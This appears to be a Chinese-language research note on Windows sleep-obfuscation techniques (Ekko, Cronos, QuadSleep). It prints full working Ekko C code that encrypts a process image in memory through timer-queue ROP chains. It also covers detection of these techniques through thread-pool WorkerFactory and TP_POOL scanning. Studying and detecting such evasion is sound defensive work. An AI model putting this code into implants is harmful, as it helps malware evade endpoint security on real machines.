sleep obfuscation

EKKO

VOID EkkoObf( DWORD SleepTime )
 {
     CONTEXT CtxThread   = { 0 };
 
     CONTEXT RopProtRW   = { 0 };
     CONTEXT RopMemEnc   = { 0 };
     CONTEXT RopDelay    = { 0 };
     CONTEXT RopMemDec   = { 0 };
     CONTEXT RopProtRX   = { 0 };
     CONTEXT RopSetEvt   = { 0 };
 
     HANDLE  hTimerQueue = NULL;
     HANDLE  hNewTimer   = NULL;
     HANDLE  hEvent      = NULL;
     PVOID   ImageBase   = NULL;
     DWORD   ImageSize   = 0;
     DWORD   OldProtect  = 0;
 
     // Can be randomly generated
     CHAR    KeyBuf[ 16 ]= { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
     USTRING Key         = { 0 };
     USTRING Img         = { 0 };
 
     PVOID   NtContinue  = NULL;
     PVOID   SysFunc032  = NULL;
 
     hEvent      = CreateEventW( 0, 0, 0, 0 );
     hTimerQueue = CreateTimerQueue();
 
     NtContinue  = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" );
     SysFunc032  = GetProcAddress( LoadLibraryA( "Advapi32" ),  "SystemFunction032" );
 
     ImageBase   = GetModuleHandleA( NULL );
     ImageSize   = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;
 
     Key.Buffer  = KeyBuf;
     Key.Length  = Key.MaximumLength = 16;
 
     Img.Buffer  = ImageBase;
     Img.Length  = Img.MaximumLength = ImageSize;
 
     if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
     {
         WaitForSingleObject( hEvent, 0x32 );
 
         memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
         memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
         memcpy( &RopDelay,  &CtxThread, sizeof( CONTEXT ) );
         memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
         memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
         memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );
 
         // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
         RopProtRW.Rsp  -= 8;
         RopProtRW.Rip   = VirtualProtect;
         RopProtRW.Rcx   = ImageBase;
         RopProtRW.Rdx   = ImageSize;
         RopProtRW.R8    = PAGE_READWRITE;
         RopProtRW.R9    = &OldProtect;
 
         // SystemFunction032( &Key, &Img );
         RopMemEnc.Rsp  -= 8;
         RopMemEnc.Rip   = SysFunc032;
         RopMemEnc.Rcx   = &Img;
         RopMemEnc.Rdx   = &Key;
 
         // WaitForSingleObject( hTargetHdl, SleepTime );
         RopDelay.Rsp   -= 8;
         RopDelay.Rip    = WaitForSingleObject;
         RopDelay.Rcx    = NtCurrentProcess();
         RopDelay.Rdx    = SleepTime;
 
         // SystemFunction032( &Key, &Img );
         RopMemDec.Rsp  -= 8;
         RopMemDec.Rip   = SysFunc032;
         RopMemDec.Rcx   = &Img;
         RopMemDec.Rdx   = &Key;
 
         // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );
         RopProtRX.Rsp  -= 8;
         RopProtRX.Rip   = VirtualProtect;
         RopProtRX.Rcx   = ImageBase;
         RopProtRX.Rdx   = ImageSize;
         RopProtRX.R8    = PAGE_EXECUTE_READWRITE;
         RopProtRX.R9    = &OldProtect;
 
         // SetEvent( hEvent );
         RopSetEvt.Rsp  -= 8;
         RopSetEvt.Rip   = SetEvent;
         RopSetEvt.Rcx   = hEvent;
 
         puts( "[INFO] Queue timers" );
 
         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay,  300, 0, WT_EXECUTEINTIMERTHREAD );
         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );
         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );
         CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );
 
         puts( "[INFO] Wait for hEvent" );
 
         WaitForSingleObject( hEvent, INFINITE );
 
         puts( "[INFO] Finished waiting for event" );
     }
 
     DeleteTimerQueue( hTimerQueue );
 }

首先创建了一个事件一个TimerQueue

然后获取NtContinue用于切换线程上下文 SystemFunction032 用于加密

CreateTimerQueueTimer的第三个参数是个回调RtlCaptureContext 用于获取线程上下文填充到CtxThread

在if内进行ROP的初始化利用NtContinue切换rip 依次执行修改内存属性加密 sleep 解密修改内存属性

对应的函数参数作者给出了注释

以上这些事是工作线程做的最终SetEvent 使控制流返回主线程

CreateTimerQueueTimer 底层调用ntdll!RtlCreateTimer 调用了ntdll!TpSetTimerEx 调用了ntdll!TppSetTimer

在TppSetTimer中调用TppETWTimerSet 最终会调用NtTraceEvent记录

但是实际上在TppEtwTimerSet上下断并断不下来

SharedData是空的

Cronos

https://github.com/Idov31/Cronos

创建定时器同样通过RtlCaptureContext 获取线程上下文

从加载的所有模块中搜特征码

同样通过Ntcontinue切换上下文

QuadSleep纯汇编实现

rcx: pop rcx; ret

rdx: pop rdx; ret

r8: add rsp,20; pop rdi; ret

r9: SleepEx

调用SleepEx从而APC

修改内存属性为RW -> 加密 -> 解密 -> 修改内存属性为RWX

检测

Hunt-Sleeping-Beacons

具体WorkFactory相关知识可以参考

https://urien.gitbook.io/diago-lima/a-deep-dive-into-exploiting-windows-thread-pools/attacking-worker-factories

直接跟进process_scanner::scan_processes

对传进来的process数组进行扫描具体的扫描行为定义在

suspicious_timer

通过NtQuerySystemInformation 查询进程句柄信息获取所有WorkerFactory

每个WorkerFactory都有对应的StartRoutine 由其创建的工作线程执行

通过NtQueryInformationWorkerFactory 可以查询StartRoutine

这里通过该API查询获得StartParameter 一个指向 TP_POOL的指针

TimerQueue就处于这个结构中

typedef struct _FULL_TP_POOL
 {
     struct _TPP_REFCOUNT Refcount;
     long Padding_239;
     union _TPP_POOL_QUEUE_STATE QueueState;
     struct _TPP_QUEUE* TaskQueue[3];
     struct _TPP_NUMA_NODE* NumaNode;
     struct _GROUP_AFFINITY* ProximityInfo;
     void* WorkerFactory;
     void* CompletionPort;
     struct _RTL_SRWLOCK Lock;
     struct _LIST_ENTRY PoolObjectList;
     struct _LIST_ENTRY WorkerList;
     struct _TPP_TIMER_QUEUE TimerQueue;
     struct _RTL_SRWLOCK ShutdownLock;
     UINT8 ShutdownInitiated;
     UINT8 Released;
     UINT16 PoolFlags;
     long Padding_240;
     struct _LIST_ENTRY PoolLinks;
     struct _TPP_CALLER AllocCaller;
     struct _TPP_CALLER ReleaseCaller;
     volatile INT32 AvailableWorkerCount;
     volatile INT32 LongRunningWorkerCount;
     UINT32 LastProcCount;
     volatile INT32 NodeStatus;
     volatile INT32 BindingCount;
     UINT32 CallbackChecksDisabled : 1;
     UINT32 TrimTarget : 11;
     UINT32 TrimmedThrdCount : 11;
     UINT32 SelectedCpuSetCount;
     long Padding_241;
     struct _RTL_CONDITION_VARIABLE TrimComplete;
     struct _LIST_ENTRY TrimmedWorkerList;
 } FULL_TP_POOL, * PFULL_TP_POOL;